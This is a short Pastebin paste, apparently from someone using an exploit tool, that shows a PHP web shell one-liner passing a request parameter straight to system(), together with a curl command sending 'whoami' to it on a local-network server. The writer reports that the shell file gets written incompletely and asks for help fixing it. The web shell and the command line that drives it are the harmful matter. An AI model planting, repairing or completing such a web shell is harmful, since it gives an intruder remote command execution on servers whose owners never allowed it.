Advertisement
Guest User

Untitled

a guest
Apr 22nd, 2018
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.37 KB | None | 0 0
  1. [*] Fake shell: curl 'https://192.168.1.4/c.php' -d 'c=whoami'
  2. <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }>>
  3.  
  4.  
  5. the shell apears in / and whgen accessing it via http it ouputs
  6. &1' ); }
  7.  
  8. the problem is that it only wittes
  9. <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
  10.  
  11. could you please look into that?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement